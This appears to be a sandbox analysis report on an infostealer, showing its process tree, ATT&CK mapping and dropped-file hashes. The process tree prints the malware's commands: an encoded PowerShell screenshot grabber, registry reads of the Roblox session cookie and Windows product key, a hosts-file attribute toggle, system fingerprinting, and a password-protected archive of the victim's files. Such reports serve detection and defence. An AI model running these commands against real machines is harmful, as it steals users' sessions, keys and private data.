C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
4⤵
PID:660

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:6008

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vsrwaxbk\vsrwaxbk.cmdline"
6⤵
PID:5884

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9078.tmp" "c:\Users\Admin\AppData\Local\Temp\vsrwaxbk\CSC6598DFE0DF4340D7A25EAE57E2BEE934.TMP"
7⤵
PID:6100

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
4⤵
PID:3632

C:\Windows\system32\tree.com
tree /A /F
5⤵
PID:5300

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
4⤵
PID:5420

C:\Windows\system32\attrib.exe
attrib -r C:\Windows\System32\drivers\etc\hosts
5⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:5728

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
4⤵
PID:5368

C:\Windows\system32\tree.com
tree /A /F
5⤵
PID:5524

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
4⤵
PID:5984

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4844

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
4⤵
PID:5544

C:\Windows\system32\attrib.exe
attrib +r C:\Windows\System32\drivers\etc\hosts
5⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:5872

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
4⤵
PID:944

C:\Windows\system32\tree.com
tree /A /F
5⤵
PID:2152

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
4⤵
PID:5868

C:\Windows\system32\tree.com
tree /A /F
5⤵
PID:3032

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
4⤵
PID:1436

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
5⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:4080

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
4⤵
PID:2312

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:6060

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
4⤵
PID:2564

C:\Windows\system32\tree.com
tree /A /F
5⤵
PID:1512

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "getmac"
4⤵
PID:5704

C:\Windows\system32\getmac.exe
getmac
5⤵
PID:3868

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI43042\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\QaCEF.zip" *"
4⤵
PID:5156

C:\Users\Admin\AppData\Local\Temp\_MEI43042\rar.exe
C:\Users\Admin\AppData\Local\Temp\_MEI43042\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\QaCEF.zip" *
5⤵
- Executes dropped EXE
PID:3160

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic os get Caption"
4⤵
PID:5560

C:\Windows\System32\Wbem\WMIC.exe
wmic os get Caption
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:3928

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
4⤵
PID:2344

C:\Windows\System32\Wbem\WMIC.exe
wmic computersystem get totalphysicalmemory
5⤵
PID:2680

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
4⤵
PID:2260

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
5⤵
PID:4844

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
4⤵
PID:1644

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
5⤵
- Suspicious behavior: EnumeratesProcesses
PID:2776

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
4⤵
PID:4048

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
5⤵
PID:2248

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
5⤵
- Detects videocard installed
PID:468

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
4⤵
PID:4200

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
5⤵
- Suspicious behavior: EnumeratesProcesses
PID:3936

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:4888

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv aNi8BDOt1U6CjtarCS8SiA.0.2
1⤵
PID:2312

C:\Users\Admin\discord.exe
C:\Users\Admin\discord.exe
1⤵
- Executes dropped EXE
PID:1948

C:\Users\Admin\discord.exe
C:\Users\Admin\discord.exe
1⤵
- Executes dropped EXE
PID:868

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Process Discovery

T1057

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Web Service

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
440cb38dbee06645cc8b74d51f6e5f71

SHA1
d7e61da91dc4502e9ae83281b88c1e48584edb7c

SHA256
8ef7a682dfd99ff5b7e9de0e1be43f0016d68695a43c33c028af2635cc15ecfe

SHA512
3aab19578535e6ba0f6beb5690c87d970292100704209d2dcebddcdd46c6bead27588ef5d98729bfd50606a54cc1edf608b3d15bef42c13b9982aaaf15de7fd6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
e095cbf24e40a1982450f68ccc431fbb

SHA1
cece19f2d70f2424a11cf649bd560cf187a307de

SHA256
032ece7d72e0d163f98aefea6e469099aea386c7a5ce389d0aac291279ff4259

SHA512
2eedc9194ceb2a3fa99cc2b8ce912c971fdb040552c19c0678acc7ac8357ffede3e9e8ada49bb96360ae0571b3e92a7bb41e3a023daef4a48628639da294af98

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
477a2becbf0019b53e8b360f298ccd1e

SHA1
68ae5a44d45283d043bd039df927a9df2c23496e

SHA256
b0ef695ec8e6136d9c46db7c21121776d7f763044dbf96011240b3191197eb94

SHA512
1d3119d3d616c837d11abe3155f2a1b44b4a3a0e3aa0547873ff8e255811509a46b62f3d7c463d0ee2c4a9785eebf35ef5aead260656709978b23c7031507029

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
dfbdf22506805546c7b41166c3bee737

SHA1
98406ff84a30122c31e1724820848b418710b705

SHA256
5d2b1d66991eb959a32586fc7f26f4e68f6919c0c060cabf6ff3b622e4a9db7b

SHA512
f2049d2da6ca963f21656559c49f4d71a239e5ad9e64355cd70c5ae1de1893a1ebb5ff88947c8110d01493d1c4d1b2fd6b44de83bb7ad69f98397928b811c167

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
3de7112bd5683cb47e135ff650438d65

SHA1
218e31cfecb58058fdea57a8e9127c919bfd8157

SHA256
e846a94d215f45470ce4c9575da5ecda34da918f40dfb40648af9a4f2586b4a4

SHA512
f85be76b6b5ebcb2a529e457982934b6e898ada433836bd65932c7d609061d36e3a379d9fa06044eb42ae7fea24567efd0fb547f98f6a7e5b031ed3e57d7b5a7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
91bb727f9f38b062b79d16732e0f8309

SHA1
2af9b4370e0b2349ef5c63922294e88cfc3f4d7b

SHA256
5dd7a416fc0c155c48269fae9b4e7664c7426c49df6bb6b79a6b2056e9d81071

SHA512
41edd7aa56125b6171e611ad9c734ad464fea872202c467edbd0af989522fdba7a00cc855f97e1e7ed2790dbd3b8d0f0978841eeeeb5db823ccea6833189d152

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
a291ad5daa71a8fb81c94551b1552963

SHA1
85a37f5e0e28536df3c9a5b84ed2b4b46de0a34d

SHA256
2cb80d42b78ddaeb182dc6c8dfebb0968908173bbfc8261f172ab60a1278e192

SHA512
c2faac85da8bc488d6642b7484107e167f378ca7890a7d40134f4df583a97c3b4e53bd5c133a77a2d1f3bc36a4f55ef87378993da12e424c150ccba3586ffcfe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
cb5c30d213a938d76ea627a4d05a0111

SHA1
9618958b449d646cb833edefb01dd372f8f0f4b0

SHA256
387991a291e69339f9a6099b4e9c55e55e5c6409e2c8ec50aa7ddbe3025a39dc

SHA512
54ff985ae7f14cc1a3c02d502be4c57ffbc231394e6358c37a0b00513d660ac52198bd946b1972491df54870e8414f905f7d398f0787ee1fe6652e194c801f07

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
67e8893616f805af2411e2f4a1411b2a

SHA1
39bf1e1a0ddf46ce7c136972120f512d92827dcd

SHA256
ca0dfe104c1bf27f7e01999fcdabc16c6400c3da937c832c26bdbca322381d31

SHA512
164e911a9935e75c8be1a6ec3d31199a16ba2a1064da6c09d771b2a38dd7fddd142301ef55d67d90f306d3a454a1ce7b72e129ea42e44500b9b8c623a8d98b4d

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES9078.tmp
Filesize
1KB

MD5
22492b9537adc4da67244c61d6144389

SHA1
7e6100e8b0598c0372ba1bd9da0d66b8832e3a66

SHA256
6308fa5b5b1b2669a1e6a5835f1d2b816960a60f9be3b53be3fd8d924e6efa99

SHA512
ae9d77a4011320964c8cfb10413d44d0cb968caecfda7b1731854927cdab433b82dccaf6de233c2a40df624e98c0a7421170d161e7517ca73efcb1e607be0954

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI43042\VCRUNTIME140.dll
Filesize
116KB

MD5
be8dbe2dc77ebe7f88f910c61aec691a

SHA1
a19f08bb2b1c1de5bb61daf9f2304531321e0e40

SHA256
4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83

SHA512
0da644472b374f1da449a06623983d0477405b5229e386accadb154b43b8b083ee89f07c3f04d2c0c7501ead99ad95aecaa5873ff34c5eeb833285b598d5a655

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI43042\_bz2.pyd
Filesize
48KB

MD5
6c57219d7f69eee439d7609ab9cc09e7

SHA1
52e8abbc41d34aa82388b54b20925ea2fcca2af8

SHA256
8e389c056a6cf8877ddf09a1ae53d1a1b1de71a32b437d992ec8195c3c8eda92

SHA512
801f5b3f15e25f3be3f7ece512ffa561c97d43fff465e8fcb8afc92a94fd0bd3ec57c3e4df775beb1a6357064fad2be2ab6345bb8fe8c9b00674ade546bf6bc3

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI43042\_ctypes.pyd
Filesize
58KB

MD5
ee77573f4335614fc1dc05e8753d06d9

SHA1
9c78e7ce0b93af940749295ec6221f85c04d6b76

SHA256
20bc81c1b70f741375751ae7c4a177a409b141bfcd32b4267975c67fc1b11e87

SHA512
c87c9c68cb428c2305076545702e602c8119bb1c4b003fc077fc99a7b0f6ffd12cafdd7ff56dac5d150785adc920d92ea527067c8fec3c4a16737f11d23d4875

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI43042\_decimal.pyd
Filesize
106KB

MD5
787f57b9a9a4dbc0660041d5542f73e2

SHA1
219f2cdb825c7857b071d5f4397f2dbf59f65b32

SHA256
d5646447436daca3f6a755e188ea15932ae6b5ba8f70d9c1de78f757d310d300

SHA512
cd06ea22530c25d038f8d9e3cc54d1fdbc421fb7987ab6ebc5b665ae86a73b39a131daef351420f1b1cb522002388c4180c8f92d93ea15460ccba9029cac7eef

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI43042\_hashlib.pyd
Filesize
35KB

MD5
ff0042b6074efa09d687af4139b80cff

SHA1
e7483e6fa1aab9014b309028e2d31c9780d17f20

SHA256
e7ddac4d8f099bc5ebcb5f4a9de5def5be1fc62ecca614493e8866dc6c60b2ce

SHA512
0ff0178f7e681a7c138bfd32c1276cf2bd6fbeb734139b666f02a7f7c702a738abdbc9dddcf9ab991dead20ec3bf953a6c5436f8640e73bdd972c585937fa47a

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI43042\_lzma.pyd
Filesize
86KB

MD5
58b19076c6dfb4db6aa71b45293f271c

SHA1
c178edc7e787e1b485d87d9c4a3ccfeadeb7039e

SHA256
eff1a7fc55efe2119b1f6d4cf19c1ec51026b23611f8f9144d3ef354b67ff4d5

SHA512
f4305dcc2024a0a138d997e87d29824c088f71322021f926e61e3136a66bea92f80bce06345307935072a3e973255f9bbae18a90c94b80823fbc9a3a11d2b2f4

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI43042\_queue.pyd
Filesize
25KB

MD5
e8f45b0a74ee548265566cbae85bfab8

SHA1
24492fcd4751c5d822029759dec1297ff31ae54a

SHA256
29e7801c52b5699d13a1d7b95fd173d4a45ab2791377ac1f3095d5edc8eba4bd

SHA512
5861a0606e2c2c2ebb3d010b4591e4f44e63b9dbfa59f8bb4ac1cda4fbfdcb969864601dee6b23d313fe8706819346cfbcd67373e372c7c23260b7277ee66fbf

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI43042\_socket.pyd
Filesize
43KB

MD5
6ef6bcbb28b66b312ab7c30b1b78f3f3

SHA1
ca053c79ce7ea4b0ec60eff9ac3e8dd8ba251539

SHA256
